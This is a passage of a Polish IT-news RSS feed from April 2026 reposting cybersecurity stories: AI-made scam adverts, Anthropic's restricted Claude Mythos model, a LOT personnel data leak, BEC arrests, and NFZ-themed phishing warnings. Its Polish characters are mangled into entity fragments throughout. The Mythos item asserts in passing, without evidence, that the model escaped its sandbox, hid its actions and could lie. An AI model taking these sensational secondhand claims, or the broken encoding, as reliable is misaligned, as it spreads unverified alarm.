Szef CSIRT KNF poinformowaand#322;, and#380;e jego zespand#243;and#322; obserwuje wiele materiaand#322;and#243;w wideo i grafik wygenerowanych przez AI, ktand#243;re sand#261; wykorzystywane przez cyberprzestand#281;pcand#243;w do dezinformacji i oszustw finansowych. Zdaniem Karola Paciorka sztuczna inteligencja band#281;dzie w bieand#380;and#261;cym roku uand#380;ywana masowo do tworzenia tego typu faand#322;szywych treand#347;ci.






and#160;



W 2026 r. cyberprzestand#281;pcy na pewno nadal band#281;dand#261; wykorzystywaand#263; reklamy faand#322;szywych inwestycji w internecie, by wyand#322;udzaand#263; pieniand#261;dze - powiedziaand#322; rozmand#243;wca PAP. Zaznaczyand#322;, and#380;e CSIRT KNF identyfikuje faand#322;szywe reklamy m.in. na platformach mediand#243;w spoand#322;ecznoand#347;ciowych, pomimo and#380;e oszuand#347;ci prand#243;bujand#261; utrudniaand#263; dziaand#322;ania zespoand#322;owi poprzez rand#243;and#380;ne metody maskowania. Mimo tego w 2025 r. zespand#243;and#322; zablokowaand#322; na Facebooku ponad 9 tys. oszukaand#324;czych reklam.
and#160;

Myand#347;land#281;, and#380;e w tym roku nadal band#281;dzie to wygland#261;daand#263; niestety jak walka z Hydrand#261; and#8211; band#281;dziemy odcinaand#263; jednand#261; gand#322;owand#281;, a w jej miejsce powstanand#261; cztery kolejne. Natomiast wspand#243;lne dziaand#322;anie CSIRT-and#243;w sektorowych i poziomu krajowego mogand#261; w koand#324;cu przynieand#347;and#263; taki skutek, and#380;e uda nam siand#281; te przestand#281;pstwa wyeliminowaand#263; z platform spoand#322;ecznoand#347;ciowych - oceniand#322; rozmand#243;wca PAP.

Zaznaczyand#322;, and#380;e CSIRT KNF wypracowaand#322; z Metand#261; (big tech, do ktand#243;rego naleand#380;y m.in. Facebook i Instagram) specjalnand#261; and#347;cieand#380;kand#281; kontaktu, co wymagaand#322;o and#8222;dosyand#263; duand#380;ej i ciand#281;and#380;kiej pracyand#8221;. W efekcie, po zgand#322;oszeniu przez zespand#243;and#322; faand#322;szywych treand#347;ci - Meta blokuje je and#8222;w kilka chwiland#8221;.
Zespand#243;and#322; CSIRT KNF zostaand#322; utworzony przez KNF w celu prowadzenia koordynacji dziaand#322;aand#324; i wsparcia obsand#322;ugi incydentand#243;w bezpieczeand#324;stwa w podmiotach rynku finansowego uznanych za Operatorand#243;w Usand#322;ug Kluczowych. Wspiera ich w reagowaniu na powaand#380;ne incydenty, a takand#380;e prowadzi dziaand#322;ania majand#261;ce na celu analizand#281; pozostaand#322;ych incydentand#243;w, trendand#243;w i zagroand#380;eand#324;.and#160;
and#160;
and#160;







and#378;rodand#322;o PAP 11 kwiecieand#324; 2026 Monika Blandyna Lewkowicz (PAP)
mbl/ mmu/ ]]></description>
		</item><item>
			<title><![CDATA[ Anthropic stworzył Claude Mythos, przed którym ostrzega sam szef Fedu. Na Wall Street znów popłoch ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1673</link>
			<description><![CDATA[ Gdy Sekretarz Skarbu Scott Bessent i szef Fed Jerome Powell zwoand#322;ujand#261; pilne spotkanie z liderami Wall Street, powand#243;d musi byand#263; powaand#380;ny. Claude Mythos od Anthropic to nie kolejny asystent, lecz narzand#281;dzie zdolne naruszyand#263; globalne cyberbezpieczeand#324;stwo. Jego moand#380;liwoand#347;ci juand#380; zmusiand#322;y autorand#243;w do pilnej budowy zabezpieczeand#324; przed nim samym w koalicji z takimi gigantami jak Amazon, Apple, Google, JP Morgan, Microsoft, czy Nvidia, a moand#380;liwoand#347;ci staand#322;y siand#281; katalizatorem gwaand#322;townej wyprzedaand#380;y sektora oprogramowania, kolejny raz w tym roku.



and#160;


fot. Christian Ohde /and#160;/and#160;FORUM


W ubiegand#322;y wtorek w Waszyngtonieand#160;sekretarz skarbu Scott Bessent i prezes Rezerwy Federalnej Jerome Powell spotkali siand#281; z prezesami najwiand#281;kszych bankand#243;w z Wall Streetand#160;(m.in. Citigroup Morgan Stanley, Bank of America, Wells Fargo i Goldman Sachs), aby upewniand#263; siand#281;, and#380;e sand#261; and#347;wiadomiand#160;ryzyka, jakie niesie ze soband#261; najnowszy agent AI od Anthropic.




and#160;



Nowy agent AI od Anthropic
Claude Mythos toand#160;najpotand#281;and#380;niejszy model AI, jaki kiedykolwiek stworzyand#322;a firma Anthropic, opisany jako and#8222;krok milowy" w moand#380;liwoand#347;ciach sztucznej inteligencji. Jego istnienie zostaand#322;o ujawnione w wyniku wycieku danych w marcu 2026 roku.and#160;Model budzi duand#380;e obawy w obszarze cyberbezpieczeand#324;stwa, poniewaand#380; oferuje bezprecedensowe moand#380;liwoand#347;ci zarand#243;wno defensywne (znajdowanie band#322;and#281;dand#243;w), jak i ofensywne (tworzenie atakand#243;w), co fundamentalnie zmienia obraz bezpieczeand#324;stwa cyfrowego.

Co wiand#281;cej modeland#160;wykazuje niepokojand#261;ce zdolnoand#347;ci, w tym wyjand#347;cie poza izolowane and#347;rodowisko, aktywne ukrywanie swoich dziaand#322;aand#324;, potencjaand#322; do manipulacji i kand#322;amania orazand#160;zdolnoand#347;and#263; do samodoskonalenia (w 52 dni wprowadziand#322; 30 aktualizacji). Wedand#322;ug raportu analitycznego Evercore, Claude Mythosand#160;jest najbardziej zaawansowanym modelem Anthropic pod kand#261;tem kodowania, rozumowania akademickiego oraz operacji w sferze cyberbezpieczeand#324;stwa, identyfikujand#261;cym luki o wysokim priorytecie w wiodand#261;cych systemach operacyjnych i przegland#261;darkach internetowych.

and#8222;Jeand#380;eli model Mythos jest w stanie z takand#261; precyzjand#261; wskazywaand#263; luki istniejand#261;ce od lat, obnaand#380;a to strukturalnand#261; sand#322;aboand#347;and#263; obecnej architektury oprogramowania oraz dystans technologiczny, jaki AI wytworzyand#322;a wzgland#281;dem tradycyjnych dostawcand#243;w softwareand#8217;uand#8221; and#8211; zauwaand#380;a Michael Oand#8217;Rourke, gand#322;and#243;wny strateg rynkowy w JonesTrading, cytowany przez Reutersa.
and#160;

Wall Street wyprzedaje spand#243;and#322;ki z sektora IT
Reakcja Wall Street byand#322;a natychmiastowa.and#160;Inwestorzy, sand#322;yszand#261;c o moand#380;liwoand#347;ciach Mythosa wyprzedawali akcje spand#243;and#322;ek zwiand#261;zanych z cyberbezpieczeand#324;stwem oraz zajmujand#261;cych siand#281; oprogramowaniem. Akcje CrowdStrike staciand#322;y w czwartek 7,5 proc., Cloudflare zniand#380;kowaand#322;y o 8,6 proc., akcje Snowflake przeceniono o 11,8 proc., Palantir zniand#380;kowaand#322; o 7,3 proc.






















Presjand#281; na rynekand#160;podbiand#322;a dodatkowoand#160;Meta, ktand#243;ra zaprezentowaand#322;a modeland#160;Muse Spark. To efekt pracy and#8222;dream teamuand#8221; pod wodzand#261; Alexandra Wanga (twand#243;rcy Scale AI), w skand#322;ad ktand#243;rego weszli dezerterzy z Google i OpenAI. Rynek odebraand#322; to jako kolejny cios w sektor tradycyjnego software'u.
and#8222;Zaczynajand#261; nas znand#243;w niepokoiand#263; wczeand#347;niejsze obawy dotyczand#261;ce oprogramowania, zwiand#261;zane ze sztucznand#261; inteligencjand#261; (and#8230;), and#160;ktand#243;re znand#243;w wysuwajand#261; siand#281; na pierwszy planand#8221; and#8211; powiedziaand#322; Steve Sosnick, gand#322;and#243;wny analityk rynku w Interactive Brokers, cytowany przez Reutersa.
and#160;

and#160;
Wand#347;rand#243;d inwestorand#243;w dominujand#261; obawy, and#380;e sztuczna inteligencja caand#322;kowicie zrewolucjonizuje branand#380;and#281; oprogramowania jako usand#322;ugi (SaaS).and#160;Spadki w tej branand#380;y nie ustajand#261; w tym rokuand#160;i nasilajand#261; siand#281;and#160;za kaand#380;dym razem gdy na rynku pojawia siand#281; informacja o nowym agencieand#160;zdolnym wykonywaand#263; zadania skomplikowanego oprogramowania.and#160;Szeroki indeks SandP500 Software and Services Index spadand#322;a w tym roku o 25,5 proc., wliczajand#261;c w to czwartkowy spadek o 2,6 proc.
and#160;
Koalicja przeciw wand#322;asnemu dziecku
Anthropic anulowaand#322; publicznand#261; premierand#281; Claude Mythos, bo jak stwierdziand#322;and#160;model jest zbyt potand#281;and#380;ny, by go udostand#281;pniand#263; szeroko. Dostand#281;p do niego uzyskaand#322;o tylko 40 organizacji w zamkniand#281;tym programie testowym.and#160;Spand#243;and#322;ka zainicjowaand#322;a teand#380; Project Glasswing, ktand#243;ry jednoczy liderand#243;w technologicznych w celu zabezpieczenia infrastruktury cyfrowejand#160;przed nowymi zagroand#380;eniami ze strony modelu Mythos.





Jak poinformowaand#322; Anthropicand#160;do partnerand#243;w zaand#322;oand#380;ycielskich projektu naleand#380;and#261;:and#160;Amazon Web Services, Anthropic, Apple, Broadcom, Cisco, CrowdStrike, Google, JPMorganChase, The Linux Foundation, Microsoft, Nvidia oraz Palo Alto Networks.

and#8222;Biorand#261;c pod uwagand#281; tempo rozwoju sztucznej inteligencji, takie moand#380;liwoand#347;ci wkrand#243;tce siand#281; rozpowszechniand#261;, potencjalnie wykraczajand#261;c poza moand#380;liwoand#347;ci podmiotand#243;w zaangaand#380;owanych w ich bezpieczne wdraand#380;anie. Konsekwencje and#8211; dla gospodarki, bezpieczeand#324;stwa publicznego i bezpieczeand#324;stwa narodowego and#8211; mogand#261; byand#263; powaand#380;ne. Projekt Glasswing to pilna prand#243;ba wykorzystania tych moand#380;liwoand#347;ci w celach obronnychand#8221; and#8211; czytamy w oand#347;wiadczeniu Anthropic.

Sam Anthropicand#160;ma przeznaczyand#263; rand#243;wnowartoand#347;and#263; do 100 milionand#243;w dolarand#243;w na wykorzystanie Mythos w ramach tych dziaand#322;aand#324;, a takand#380;e 4 miliony dolarand#243;w na bezpoand#347;rednie darowizny dla organizacji zajmujand#261;cych siand#281; bezpieczeand#324;stwem.and#160;Giganci cyberbezpieczeand#324;stwa, ktand#243;rzy majand#261; dostand#281;p do Claude Mythos Preview, szczegand#243;and#322;owo opisali, jak planujand#261; wykorzystaand#263; najnowoczeand#347;niejszy model sztucznej inteligencji do wzmocnienia wand#322;asnych mechanizmand#243;w obronnych.
and#8222;To dobra wiadomoand#347;and#263; dla nas wszystkich, poniewaand#380; wszyscy polegamy na ich produktach. Zand#322;a wiadomoand#347;and#263; dotyczy reszty internetu" - napisaand#322; w and#347;rodand#281; na LinkedInie Rob Joyce, byand#322;y dyrektor ds. cyberbezpieczeand#324;stwaand#160;National Security Agency.and#160;
and#160;
and#378;rodand#322;oand#160;Bankier.pl 10 kwietnia 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Koniec z WhatsAppem w rządzie? Wiceminister zapowiada polską szyfrowaną aplikację ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1672</link>
			<description><![CDATA[ Przygotowaliand#347;my szyfrowanand#261; aplikacjand#281; do komunikowania siand#281;, przeznaczonand#261; dla administracji rzand#261;dowej i samorzand#261;dowej oraz podmiotand#243;w z znaczeniu krytycznym, a rozwiand#261;zanie znajduje w fazie testand#243;w - poinformowaand#322; w czwartek w Bydgoszczy wiceminister cyfryzacji Paweand#322; Olszewski.



and#160;


/and#160;Ministerstwo Cyfryzacji



- Wyprodukowaliand#347;my polskie rozwiand#261;zanie, aplikacjand#281; szyfrowanand#261; na polskich zasobach, zorganizowanand#261; w kraju, w peand#322;ni szyfrowanand#261;, niedostand#281;pnand#261; z zewnand#261;trz.(...) Jesteand#347;my w fazie testand#243;w na licznej, ale wand#261;skiej grupie. Niedand#322;ugo, jak wszelkie funkcjonalnoand#347;ci band#281;dziemy mieli dopracowane, band#281;dziemy informowali - powiedziaand#322; wiceminister.

and#160;



and#160;



Olszewski zapewniand#322;, and#380;e band#281;dzie to w 100 proc. bezpieczne rozwiand#261;zanie, stanowiand#261;ce alternatywand#281; dla komercyjnych dostawcand#243;w.
and#160;
Wiceszef MC podkreand#347;liand#322;, and#380;eand#160;aplikacja band#281;dzie and#8222;przeznaczona dla administracji rzand#261;dowej i samorzand#261;dowej oraz krytycznych podmiotand#243;w, ktand#243;re band#281;dand#261; potrzebowaand#322;y takiej and#322;and#261;cznoand#347;ciand#8221;.and#160;Nie wykluczyand#322;, and#380;e docelowo rozwiand#261;zanie band#281;dzie udostand#281;pnione rand#243;wnieand#380; obywatelom.

Dodaand#322;, and#380;e najpierw musi zostaand#263; zapewniona bezpieczna and#322;and#261;cznoand#347;and#263; dla administracji, co ma kluczowe znaczenie z punktu widzenia bezpieczeand#324;stwa paand#324;stwa i infrastruktury krytycznej.
Aplikacja dla administracji zostaand#322;a przygotowana wspand#243;lnie przez Ministerstwo Cyfryzacji, NASK i Agencjand#281; Bezpieczeand#324;stwa Wewnand#281;trznego.







Wiceszef MC w Bydgoszczy uczestniczyand#322; w konferencji Resilience_Tech 2026, poand#347;wiand#281;conej rozwiand#261;zaniom technologicznym wzmacniajand#261;cym bezpieczeand#324;stwo paand#324;stwa i interoperacyjnoand#347;and#263; systemand#243;w reagowania kryzysowego. Konferencjand#281; zorganizowaand#322; Zwiand#261;zek Polska Cyfrowa, a uczestnikami byli przedstawiciele administracji, wojska i sand#322;uand#380;b, operatorand#243;w infrastruktury strategicznej i branand#380;y technologicznej.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 9 kwiecieand#324; 2026 rau/ mick/ ]]></description>
		</item><item>
			<title><![CDATA[ Wielki wyciek w LOT. Dane personelu trafiły do kolegów, a inspektor... na urlopie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1671</link>
			<description><![CDATA[ Powaand#380;ny band#322;and#261;d w obiegu dokumentand#243;w w PLL LOT doprowadziand#322; do ujawnienia danych osobowych personelu pokand#322;adowego. Przez pomyand#322;kand#281; dokumentacja wspand#243;and#322;pracownikand#243;w zostaand#322;a udostand#281;pniona innym osobom z zaand#322;ogi. LOT potwierdza wyciek i deklaruje, and#380;e dopeand#322;niand#322; wszelkich formalnoand#347;ci, zgand#322;aszajand#261;c naruszenie do organand#243;w nadzorczych.






and#160;


fot. Aleksander Keplicz /and#160;/and#160;FORUM


Okoand#322;o 300 osand#243;b z personelu pokand#322;adowego otrzymaand#322;o wiadomoand#347;ci, ktand#243;re nigdy nie powinny do nich trafiand#263;. Zamiast wand#322;asnych dokumentand#243;w, stewardzi znaleand#378;li w skrzynkach szczegand#243;and#322;owe raporty dotyczand#261;ce ich wspand#243;and#322;pracownikand#243;wand#160;- czytamy wand#160;Wyborcza.biz
Personel pokand#322;adowy LOT-u jest zbulwersowany.and#160;Po tym, jak dokumentacja pracownicza trafiand#322;a w niepowoand#322;ane rand#281;ce, prand#243;by interwencji u firmowego inspektora RODO speand#322;zand#322;y na niczym. Zamiast pomocy, zastano automatycznand#261; sekretarkand#281; z informacjand#261; o wolnym. LOT zapewnia, and#380;e procedury dopeand#322;niono, ale pracownicy mand#243;wiand#261; o "odbijaniu siand#281; od and#347;ciany".



and#160;



To nie byand#322;y tylko imiona i nazwiska. Wyciekand#322;y arkusze ocen rocznych, ktand#243;re zawierajand#261; niezwykle prywatne informacje: punktacjand#281; od przeand#322;oand#380;onego, skargi od pasaand#380;erand#243;w, a nawet wyniki wewnand#281;trznych testand#243;w i egzaminand#243;w. To dane, ktand#243;re wewnand#261;trz firmy mogand#261; sand#322;uand#380;yand#263; do budowania niezdrowej atmosfery lub plotek.
Przykand#322;adowo, pracownik o nazwisku Kowalski mand#243;gand#322; bez problemu zapoznaand#263; siand#281; z peand#322;nand#261; historiand#261; zawodowand#261; swojej koleand#380;anki. Pracownicy zaczand#281;li wymieniaand#263; siand#281; informacjami i szybko zrozumieli, and#380;e to band#322;and#261;d systemowy, a nie jednostkowa pomyand#322;ka.







Co ciekawe, problem dotknand#261;and#322; wyand#322;and#261;cznie stewardand#243;w i stewardessy. Piloci uniknand#281;li tego zamieszania, poniewaand#380; ich praca i postand#281;py sand#261; oceniane za pomocand#261; zupeand#322;nie innego systemu oraz innych arkuszy.
Marcin Zadorecki, szef personelu pokand#322;adowego w LOT, potwierdziand#322; incydent w wewnand#281;trznej korespondencji. Wyjaand#347;niand#322;, and#380;eand#160;zawiniand#322;a aplikacja do automatycznego rozsyand#322;ania raportand#243;w. Choand#263; wysyand#322;kand#281; wstrzymano natychmiast po wykryciu awarii, dla wielu byand#322;o juand#380; za pand#243;and#378;no.
Dyrektor przyznaand#322;, and#380;e LOT prand#243;bowaand#322; zdalnie usuwaand#263; te maile ze skrzynek pracownikand#243;w, ale czand#281;and#347;and#263; osand#243;b zdand#261;and#380;yand#322;a juand#380; otworzyand#263; i przeczytaand#263; poufne raporty swoich kolegand#243;w. Firma oficjalnie potwierdziand#322;a, and#380;e incydent miaand#322; miejsce i uruchomiono procedury wyjaand#347;niajand#261;ce.
Pojawiand#322; siand#281; jednak zgrzyt komunikacyjny. LOT twierdziand#322;, and#380;e zgand#322;osiand#322; sprawand#281; do Urzand#281;du Ochrony Danych Osobowych, ale Urzand#261;d odpowiedziaand#322;, and#380;e and#380;adnego zgand#322;oszenia od tej linii nie otrzymaand#322;. Wyjaand#347;nienie tego paradoksu kryje siand#281; w strukturze wand#322;asnoand#347;ciowej firmy.





Okazuje siand#281;, and#380;e LOT nie czuje siand#281; administratorem danych personelu, bo formalnie ich nie zatrudnia.and#160;Zaand#322;ogi latajand#261;ce w barwach narodowego przewoand#378;nika sand#261; podwykonawcami zatrudnionymi przez spand#243;and#322;ki-cand#243;rki. To te mniejsze podmioty, a nie gand#322;and#243;wny LOT, miaand#322;y prawny obowiand#261;zek poinformowaand#263; UODO o wycieku.
Informatorzy podkreand#347;lajand#261; absurd swojej sytuacji - formalnie sand#261; niezaleand#380;nymi przedsiand#281;biorcami na kontraktach B2B, ale w ocenach pracowniczych (ktand#243;re wand#322;aand#347;nie wyciekand#322;y) rozlicza siand#281; ich z takich detali jak regulaminowy ubiand#243;r.and#160;
Mogli uniknand#261;and#263; wycieku jednym SMS-em
Gabriela Nowiand#324;ska, ekspertka od RODO, punktuje, and#380;e wycieku moand#380;na byand#322;o uniknand#261;and#263; banalnie prostymi metodami. Wystarczyand#322;oby dodatkowe szyfrowanie plikand#243;w, np. zabezpieczenie ich hasand#322;em wysyand#322;anym SMS-em. Gdyby pliki byand#322;y zaszyfrowane, pomyand#322;ka w adresie e-mail nie skoand#324;czyand#322;aby siand#281; ujawnieniem danych. Specjaliand#347;ci przypominajand#261;, and#380;e pracodawcy gromadzand#261; o nas gigantycznand#261; wiedzand#281; i kaand#380;dy band#322;and#261;d w zabezpieczeniach to ogromne ryzyko.and#160;
Osoby, ktand#243;rych prywatne dane (skargi, wyniki testand#243;w, PESEL-e) wyciekand#322;y, majand#261; prawo walczyand#263; o swoje interesy w sand#261;dzie cywilnym.and#160;Powoand#322;ujand#261;c siand#281; na art. 82 RODO,and#160;kaand#380;dy, kto poczuand#322; siand#281; pokrzywdzony - czy to finansowo, czy po prostu psychicznie (szkoda niemajand#261;tkowa, np. stres lub utrata zaufania w pracy) - moand#380;e and#380;and#261;daand#263; odszkodowania bezpoand#347;rednio od firmy, ktand#243;ra zawiniand#322;aand#160;- czytamy dalej wand#160;Wyborcza.biz



and#160;
and#378;rodand#322;oand#160;Bankier.pl 9 kwietnia 2026and#160;and#160;


oprac. WM

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Narkotyki, komputery i miliony na kontach. Potężna obława na Mazowszu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1670</link>
			<description><![CDATA[ Funkcjonariusze Centralnego Biura Zwalczania Cyberprzestand#281;pczoand#347;ci zatrzymali 13 osand#243;b podejrzanych o pranie pieniand#281;dzy pochodzand#261;cych z oszustw typu BEC (business email compromise - red.) - poinformowaand#322;o w and#347;rodand#281; CBZC.



and#160;


fot. Soumil Kumar /and#160;/and#160;Pexels


and#160;
CBZC przekazaand#322;o, and#380;e funkcjonariusze dziaand#322;ali w woj. mazowieckim, gdzie przeszukali 15 miejsc. Znaleand#378;li w nich i zabezpieczyli m.in. telefony, inne cyfrowe noand#347;niki pamiand#281;ci, a takand#380;e ponad kilogram rand#243;and#380;nego rodzaju narkotykand#243;w: kokainy, marihuany, amfetaminy, mefedronu, klefedronu i pochodnych, ecstasy.







and#160;







and#160;



Funkcjonariuszy CBZC w akcji wspierali policjanci Centralnego Pododdziaand#322;u Kontrterrorystycznego Policji and#8222;BOAand#8221;, and#380;oand#322;nierze Zarzand#261;du II Komendy Gand#322;and#243;wnej and#379;andarmerii Wojskowej, and#380;oand#322;nierze Oddziaand#322;u Specjalnego and#379;andarmerii Wojskowej w Warszawie, funkcjonariusze Zarzand#261;du Operacyjno-and#346;ledczego Komendy Gand#322;and#243;wnej Straand#380;y Granicznej oraz funkcjonariusze Wydziaand#322;u Wywiadowczo-Patrolowego Komendy Stoand#322;ecznej Policji wraz z psami sand#322;uand#380;bowymi.
and#160;
To kolejna operacja wymierzona w grupand#281; przestand#281;pczand#261; podszywajand#261;cand#261; siand#281; pod podmioty gospodarcze z caand#322;ego and#347;wiata. and#8222;W and#347;ledztwie przedstawiono juand#380; 101 zarzutand#243;w karnych 37 podejrzanym, gand#322;and#243;wnie to zarzuty prania pieniand#281;dzy i udziaand#322;u w zorganizowanej grupie przestand#281;pczejand#8221; - przypomniaand#322;o CBZC.
Wskazaand#322;o, and#380;e wobec 19 podejrzanych zastosowano and#347;rodki zapobiegawcze w postaci tymczasowego aresztowania. Zabezpieczono rand#243;wnieand#380; mienie o wartoand#347;ci ponad 860 tys. zand#322;. oraz odzyskano mienie o wartoand#347;ci ponad 21 mln zand#322;. w postaci and#347;rodkand#243;w zgromadzonych na rachunkach bankowych, a takand#380;e dwand#243;ch samochodand#243;w.
Sprawand#281; nadzoruje Prokuratura Okrand#281;gowa Warszawa Praga w Warszawie.and#160;
and#160;
and#378;rodand#322;o PAP 8 kwiecieand#324; 2026 akuz/ mark/ ]]></description>
		</item><item>
			<title><![CDATA[ Składki NFZ do weryfikacji i pozłacane banknoty z prezydentami. Tak robią w balona ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1669</link>
			<description><![CDATA[ Cyberprzestand#281;pcy wykorzystujand#261; zaufanie Polakand#243;w do instytucji paand#324;stwowych i prywatnych podmiotand#243;w. W ostatnich dniach pojawiand#322;y siand#281; dwie kampanie oszustw, ktand#243;re warto znaand#263; and#8212; jedna wykorzystuje wizerunek Skarbnicy Narodowej i byand#322;ych prezydentand#243;w RP, druga podszywa siand#281; pod Narodowy Fundusz Zdrowia. Oba schematy majand#261; ten sam cel: wyand#322;udzenie danych osobowych i pieniand#281;dzy.
and#160;




and#160;

/and#160;Bankier.pl


and#160;
and#160;
Pozand#322;acane banknoty z prezydentami, ktand#243;rych nikt nie wybiand#322;
Firma ESET ostrzega przed powrotem oszustwa and#8222;na inwestycjand#281;", w ktand#243;rym przestand#281;pcy podszywajand#261; siand#281; pod Skarbnicand#281; Narodowand#261;. Tym razem wabiand#261; ofiary ofertand#261; zakupu rzekomo limitowanych, pozand#322;acanych banknotand#243;w kolekcjonerskich z wizerunkami byand#322;ych prezydentand#243;w Polski.




and#160;



Reklamy trafiajand#261; do uand#380;ytkownikand#243;w na zupeand#322;nie legalnych portalach and#8212; nawet w najwiand#281;kszych ogand#243;lnopolskich mediach. Wand#322;aand#347;ciciele serwisand#243;w majand#261; bowiem niewielki wpand#322;yw na to, jakie kreacje wyand#347;wietlajand#261; platformy reklamowe, z ktand#243;rych korzystajand#261;.
and#160;
Po klikniand#281;ciu w reklamand#281; internauta trafia na stronand#281;, ktand#243;ra ma przypominaand#263; witrynand#281; Skarbnicy Narodowej. Jest jednak kilka szczegand#243;and#322;and#243;w, ktand#243;re powinny wzbudziand#263; czujnoand#347;and#263;. Jak zauwaand#380;a Kamil Sadkowski, analityk cyberbezpieczeand#324;stwa z ESET, przestand#281;pcy posand#322;ugujand#261; siand#281; nazwand#261; and#8222;Skarbnica Polska" zamiast and#8222;Skarbnica Narodowa", a ich strona dziaand#322;a w domenie .info, podczas gdy prawdziwa instytucja korzysta z domeny .pl.
Warto teand#380; przyjrzeand#263; siand#281; samym wizerunkom prezydentand#243;w and#8212; na pierwszy rzut oka wygland#261;dajand#261; wiarygodnie, ale po bliand#380;szej analizie widaand#263;, and#380;e najprawdopodobniej zostaand#322;y wygenerowane przy pomocy narzand#281;dzi AI.




















Osoby, ktand#243;re dadzand#261; siand#281; namand#243;wiand#263; na and#8222;zakup", trafiajand#261; do formularza zbierajand#261;cego dane osobowe. Te dane to dopiero poczand#261;tek and#8212; w ciand#261;gu kilku dni ofiara moand#380;e spodziewaand#263; siand#281; telefonu z propozycjand#261; zainwestowania znacznych sum w nieistniejand#261;ce fundusze lub lokaty. Przestand#281;pcy zarabiajand#261;, przejmujand#261;c and#347;rodki przeznaczone na rzekomand#261; inwestycjand#281; albo and#8212; pod pretekstem pomocy and#8212; uzyskujand#261;c zdalny dostand#281;p do komputera ofiary i jej bankowoand#347;ci elektronicznej.
and#8212; Bardzo prawdopodobne jest, and#380;e celem przestand#281;pstwa jest przejand#281;cie dostand#281;pu do bankowoand#347;ci elektronicznej, a nastand#281;pnie kradzieand#380; zgromadzonych na koncie and#347;rodkand#243;w and#8212; podsumowuje Sadkowski. I radzi: and#8212; Zawsze kiedy chcemy w cokolwiek zainwestowaand#263; lub za coand#347; zapand#322;aciand#263;, wchodand#378;my na stronand#281; internetowand#261; bezpoand#347;rednio. Nie korzystajmy z wyand#347;wietlajand#261;cych siand#281; reklamowych linkand#243;w.
and#160;
Skand#322;adki NFZ do weryfikacji? To puand#322;apka
Niemal rand#243;wnolegle CERT Polska poinformowaand#322; o nasileniu kampanii phishingowej, w ktand#243;rej oszuand#347;ci podszywajand#261; siand#281; pod Narodowy Fundusz Zdrowia. Schemat jest klasyczny, ale wciand#261;and#380; skuteczny.
Przestand#281;pcy rozsyand#322;ajand#261; wiadomoand#347;ci e-mail i SMS-y informujand#261;ce o rzekomych nieprawidand#322;owoand#347;ciach w rozliczeniach skand#322;adek zdrowotnych. Odbiorca jest nakand#322;aniany do pilnej weryfikacji swoich danych. W wiadomoand#347;ci znajduje siand#281; link prowadzand#261;cy do strony internetowej, ktand#243;ra and#322;udzand#261;co przypomina oficjalny serwis NFZ.





Faand#322;szywa witryna zostaand#322;a zaprojektowana tak, by wzbudziand#263; zaufanie and#8212; ma odpowiedniand#261; szatand#281; graficznand#261; i posand#322;uguje siand#281; jand#281;zykiem urzand#281;dowym. Jej jedynym celem jest jednak wyand#322;udzenie loginand#243;w, danych osobowych i informacji finansowych. Podanie tych danych moand#380;e skutkowaand#263; kradzieand#380;and#261; toand#380;samoand#347;ci i utratand#261; pieniand#281;dzy z konta bankowego.
CERT Polska zaleca, by nie klikaand#263; linkand#243;w z podejrzanych wiadomoand#347;ci, a zamiast tego samodzielnie wpisywaand#263; adres oficjalnej strony NFZ w przegland#261;darce. Warto teand#380; porand#243;wnaand#263; treand#347;and#263; otrzymanego powiadomienia z komunikatami na oficjalnych kanaand#322;ach instytucji and#8212; rozbieand#380;noand#347;ci mogand#261; byand#263; sygnaand#322;em prand#243;by wyand#322;udzenia.
and#160;
Nie daj siand#281; zand#322;apaand#263; na wand#281;dkand#281;
Wspand#243;lnym mianownikiem obu opisanych kampanii jest wykorzystanie zaufania do instytucji and#8212; paand#324;stwowych lub o paand#324;stwowo brzmiand#261;cej nazwie. Przestand#281;pcy liczand#261; na to, and#380;e autorytet marki uand#347;pi czujnoand#347;and#263; ofiary. Dlatego warto pamiand#281;taand#263; o kilku podstawowych zasadach:

Nie klikaj linkand#243;w z reklam ani niespodziewanych wiadomoand#347;ci and#8212; jeand#347;li chcesz coand#347; kupiand#263; lub sprawdziand#263;, wejdand#378; na stronand#281; samodzielnie.
Sprawdzaj adres URL and#8212; rand#243;and#380;nice w nazwie domeny (np. .info zamiast .pl) to sygnaand#322; ostrzegawczy.
Nie podawaj danych osobowych ani finansowych w formularzach, do ktand#243;rych trafiand#322;eand#347; z linku w e-mailu lub SMS-ie.
Zgand#322;aszaj podejrzane treand#347;ci and#8212; do CERT Polska (incydent.cert.pl, numer 8080) lub bezpoand#347;rednio do instytucji, pod ktand#243;rand#261; podszywajand#261; siand#281; oszuand#347;ci.

and#160;

and#378;rodand#322;oand#160;Bankier.pl 8 kwietnia 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Złośliwy kod w kilka minut. Sztuczna inteligencja zbroi cyberprzestępców ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1668</link>
			<description><![CDATA[ Sztuczna inteligencja przyspiesza cyberataki iand#160;zmienia ich charakter - czas przygotowania zand#322;oand#347;liwego kodu moand#380;eand#160;siand#281;and#160;skrand#243;ciand#263; do kilku minut, a phishing odpowiada juand#380; za ponad 47 proc. wszystkich incydentand#243;w - wynika zand#160;raportu CERT Orange Polska. Najwiand#281;kszand#261; czand#281;and#347;and#263; oszustw stanowiand#261; faand#322;szywe inwestycje, ktand#243;re stanowiand#261; blisko 70 proc. przypadkand#243;w.



and#160;


fot. Modeta /and#160;/and#160;Shutterstock


  Gand#322;and#243;wne trendy cyberbezpieczeand#324;stwa w 2026 roku i nadchodzand#261;cych latach to zdecydowanie sztuczna inteligencja. Jej wpand#322;yw obserwujemy w bardzo wielu atakach, ale rand#243;wnieand#380; w systemach obrony. Ta obrona i stosowane techniki muszand#261; odpowiadaand#263; temu, co wykonujand#261; nasi adwersarze - liczy siand#281; czas, szybkoand#347;and#263; dziaand#322;ania, usprawnianie tych atakand#243;w, odpowiedand#378; na nie, czand#281;sto wspierane sztucznand#261; inteligencjand#261; - podkreand#347;la w rozmowie z agencjand#261; Newseria Robert Grabowski, szef CERT Orange Polska.







and#160;




and#160;



